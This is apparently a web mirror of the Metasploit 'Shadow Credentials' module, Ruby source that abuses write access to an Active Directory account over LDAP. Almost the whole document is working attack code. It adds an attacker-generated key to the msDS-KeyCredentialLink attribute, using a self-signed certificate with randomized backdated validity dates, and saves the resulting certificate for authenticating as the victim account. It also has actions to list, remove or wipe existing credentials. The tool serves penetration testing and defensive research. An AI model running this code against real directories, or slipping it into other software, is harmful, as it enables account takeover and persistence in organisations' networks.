Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/ldap/shadow_credentials.rb
56916 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
include Msf::Auxiliary::Report
9
include Msf::Exploit::Remote::LDAP::ActiveDirectory
10
include Msf::OptionalSession::LDAP
11
12
ATTRIBUTE = 'msDS-KeyCredentialLink'.freeze
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Shadow Credentials',
19
'Description' => %q{
20
This module can read and write the necessary LDAP attributes to configure a particular account with a
21
Key Credential Link. This allows weaponising write access to a user account by adding a certificate
22
that can subsequently be used to authenticate. In order for this to succeed, the authenticated user
23
must have write access to the target object (the object specified in TARGET_USER).
24
},
25
'Author' => [
26
'Elad Shamir', # Original research
27
'smashery' # module author
28
],
29
'References' => [
30
['URL', 'https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab'],
31
['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials'],
32
['ATT&CK', Mitre::Attack::Technique::T1098_ACCOUNT_MANIPULATION]
33
],
34
'License' => MSF_LICENSE,
35
'Actions' => [
36
['FLUSH', { 'Description' => 'Delete all certificate entries' }],
37
['LIST', { 'Description' => 'Read all credentials associated with the account' }],
38
['REMOVE', { 'Description' => 'Remove matching certificate entries from the account object' }],
39
['ADD', { 'Description' => 'Add a credential to the account' }]
40
],
41
'DefaultAction' => 'LIST',
42
'Notes' => {
43
'Stability' => [],
44
'SideEffects' => [CONFIG_CHANGES], # REMOVE, FLUSH, ADD all make changes
45
'Reliability' => []
46
}
47
)
48
)
49
50
register_options([
51
OptString.new('TARGET_USER', [ true, 'The target to write to' ]),
52
OptString.new('DEVICE_ID', [ false, 'The specific certificate ID to operate on' ], conditions: %w[ACTION == REMOVE]),
53
])
54
end
55
56
def validate
57
super
58
59
if action.name.casecmp?('REMOVE') && datastore['DEVICE_ID'].blank?
60
raise Msf::OptionValidateError.new({
61
'DEVICE_ID' => 'DEVICE_ID must be set when ACTION is REMOVE.'
62
})
63
end
64
end
65
66
def fail_with_ldap_error(message)
67
ldap_result = @ldap.get_operation_result.table
68
return if ldap_result[:code] == 0
69
70
print_error(message)
71
if ldap_result[:code] == 16
72
fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist. Ensure you are targeting a domain controller running at least Server 2016.')
73
else
74
validate_query_result!(ldap_result)
75
end
76
end
77
78
def warn_on_likely_user_error
79
ldap_result = @ldap.get_operation_result.table
80
if ldap_result[:code] == 50
81
if (datastore['LDAPUsername'] == datastore['TARGET_USER'] ||
82
datastore['LDAPUsername'] == datastore['TARGET_USER'] + '$') &&
83
datastore['LDAPUsername'].end_with?('$') &&
84
['add', 'remove'].include?(action.name.downcase)
85
print_warning('By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).')
86
elsif datastore['LDAPUsername'] == datastore['TARGET_USER'] && !datastore['LDAPUsername'].end_with?('$')
87
print_warning('By default, only computer accounts can modify their own properties (not user accounts).')
88
end
89
end
90
end
91
92
def get_target_account
93
target_account = datastore['TARGET_USER']
94
if target_account.blank?
95
fail_with(Failure::BadConfig, 'The TARGET_USER option must be specified for this action.')
96
end
97
98
obj = adds_get_object_by_samaccountname(@ldap, target_account)
99
if obj.nil? && !target_account.end_with?('$')
100
obj = adds_get_object_by_samaccountname(@ldap, "#{target_account}$")
101
end
102
fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{target_account}") unless obj
103
104
obj
105
end
106
107
def check
108
ldap_connect do |ldap|
109
validate_bind_success!(ldap)
110
111
if (@base_dn = datastore['BASE_DN'])
112
print_status("User-specified base DN: #{@base_dn}")
113
else
114
print_status('Discovering base DN automatically')
115
116
unless (@base_dn = ldap.base_dn)
117
print_warning("Couldn't discover base DN!")
118
end
119
end
120
@ldap = ldap
121
122
obj = get_target_account
123
if obj.nil?
124
return Exploit::CheckCode::Unknown('Failed to find the specified object.')
125
end
126
127
matcher = SecurityDescriptorMatcher::MultipleAll.new([
128
SecurityDescriptorMatcher::MultipleAny.new([
129
SecurityDescriptorMatcher::Allow.new(:WP, object_id: '5b47d60f-6090-40b2-9f37-2a4de88f3063'),
130
SecurityDescriptorMatcher::Allow.new(:WP)
131
]),
132
SecurityDescriptorMatcher::MultipleAny.new([
133
SecurityDescriptorMatcher::Allow.new(:RP, object_id: '5b47d60f-6090-40b2-9f37-2a4de88f3063'),
134
SecurityDescriptorMatcher::Allow.new(:RP)
135
])
136
])
137
138
begin
139
unless adds_obj_grants_permissions?(@ldap, obj, matcher)
140
return Exploit::CheckCode::Safe('The object can not be written to.')
141
end
142
rescue RuntimeError
143
return Exploit::CheckCode::Unknown('Failed to check the permissions on the target object.')
144
end
145
146
Exploit::CheckCode::Vulnerable('The object can be written to.')
147
end
148
end
149
150
def run
151
ldap_connect do |ldap|
152
validate_bind_success!(ldap)
153
154
if (@base_dn = datastore['BASE_DN'])
155
print_status("User-specified base DN: #{@base_dn}")
156
else
157
print_status('Discovering base DN automatically')
158
159
if (@base_dn = ldap.base_dn)
160
print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}")
161
else
162
print_warning("Couldn't discover base DN!")
163
end
164
end
165
@ldap = ldap
166
167
begin
168
obj = get_target_account
169
170
send("action_#{action.name.downcase}", obj)
171
rescue ::IOError => e
172
fail_with(Failure::UnexpectedReply, e.message)
173
end
174
end
175
rescue Errno::ECONNRESET
176
fail_with(Failure::Disconnected, 'The connection was reset.')
177
rescue Rex::ConnectionError => e
178
fail_with(Failure::Unreachable, e.message)
179
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
180
fail_with(Failure::NoAccess, e.message)
181
rescue Net::LDAP::Error => e
182
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
183
end
184
185
def action_list(obj)
186
entries = obj[ATTRIBUTE]
187
if entries.nil? || entries.empty?
188
print_status("The #{ATTRIBUTE} field is empty.")
189
return
190
end
191
credential_entries = format_ldap_to_credentials(entries)
192
193
print_status('Existing credentials:')
194
credential_entries.each do |credential|
195
print_status("DeviceID: #{credential.device_id} - Created #{credential.key_creation_time}")
196
end
197
end
198
199
def action_remove(obj)
200
entries = obj[ATTRIBUTE]
201
if entries.nil? || entries.empty?
202
print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")
203
return
204
end
205
credential_entries = format_ldap_to_credentials(entries)
206
207
length_before = credential_entries.length
208
credential_entries.delete_if { |entry| entry.device_id.to_s == datastore['DEVICE_ID'] }
209
if credential_entries.length == length_before
210
print_status('No matching entries found - check device ID')
211
else
212
update_list = format_credentials_to_ldap(credential_entries, obj.dn)
213
unless @ldap.replace_attribute(obj.dn, ATTRIBUTE, update_list)
214
warn_on_likely_user_error
215
fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")
216
end
217
print_good("Deleted entry with device ID #{datastore['DEVICE_ID']}")
218
end
219
end
220
221
def action_flush(obj)
222
entries = obj[ATTRIBUTE]
223
if entries.nil? || entries.empty?
224
print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")
225
return
226
end
227
228
unless @ldap.delete_attribute(obj.dn, ATTRIBUTE)
229
fail_with_ldap_error("Failed to deleted the #{ATTRIBUTE} attribute.")
230
end
231
232
print_good("Successfully deleted the #{ATTRIBUTE} attribute.")
233
end
234
235
def action_add(obj)
236
entries = obj[ATTRIBUTE]
237
if entries.nil?
238
credential_entries = []
239
else
240
credential_entries = format_ldap_to_credentials(entries)
241
end
242
243
key, cert = generate_key_and_cert(datastore['TARGET_USER'])
244
credential = Rex::Proto::MsAdts::KeyCredential.new
245
credential.set_key(key.public_key, Rex::Proto::MsAdts::KeyCredential::KEY_USAGE_NGC)
246
now = ::Time.now
247
credential.key_approximate_last_logon_time = now
248
credential.key_creation_time = now
249
credential_entries.append(credential)
250
update_list = format_credentials_to_ldap(credential_entries, obj.dn)
251
252
unless @ldap.replace_attribute(obj.dn, ATTRIBUTE, update_list)
253
warn_on_likely_user_error
254
fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")
255
end
256
257
pkcs12 = OpenSSL::PKCS12.create('', '', key, cert)
258
stored_path = store_cert(pkcs12)
259
260
print_good("Successfully updated the #{ATTRIBUTE} attribute; certificate with device ID #{credential.device_id}")
261
[credential.device_id, stored_path]
262
end
263
264
def store_cert(pkcs12)
265
service_data = ldap_service_data
266
credential_data = {
267
**service_data,
268
address: service_data[:host],
269
port: rport,
270
protocol: service_data[:proto],
271
service_name: service_data[:name],
272
workspace_id: myworkspace_id,
273
username: datastore['TARGET_USER'],
274
private_type: :pkcs12,
275
# pkcs12 is a binary format, but for persisting we Base64 encode it
276
private_data: Base64.strict_encode64(pkcs12.to_der),
277
origin_type: :service,
278
module_fullname: fullname
279
}
280
create_credential(credential_data)
281
282
info = "#{datastore['LDAPDomain']}\\#{datastore['TARGET_USER']} Certificate"
283
stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info)
284
print_status("Certificate stored at: #{stored_path}")
285
stored_path
286
end
287
288
def ldap_service_data
289
{
290
host: rhost,
291
port: rport,
292
proto: 'tcp',
293
name: 'ldap',
294
info: "Module: #{fullname}, #{datastore['LDAP::AUTH']} authentication"
295
}
296
end
297
298
def format_credentials_to_ldap(entries, dn)
299
entries.map do |entry|
300
struct = entry.to_struct
301
dn_binary = Rex::Proto::LDAP::DnBinary.new(dn, struct.to_binary_s)
302
303
dn_binary.encode
304
end
305
end
306
307
def format_ldap_to_credentials(entries)
308
entries.map do |entry|
309
dn_binary = Rex::Proto::LDAP::DnBinary.decode(entry)
310
struct = Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct.read(dn_binary.data)
311
Rex::Proto::MsAdts::KeyCredential.from_struct(struct)
312
end
313
end
314
315
def generate_key_and_cert(subject)
316
key = OpenSSL::PKey::RSA.new(2048)
317
cert = OpenSSL::X509::Certificate.new
318
cert.public_key = key.public_key
319
cert.issuer = OpenSSL::X509::Name.new([['CN', subject]])
320
cert.subject = OpenSSL::X509::Name.new([['CN', subject]])
321
yr = 24 * 3600 * 365
322
cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr)
323
cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr))
324
cert.sign(key, OpenSSL::Digest.new('SHA256'))
325
326
[key, cert]
327
end
328
end
329
330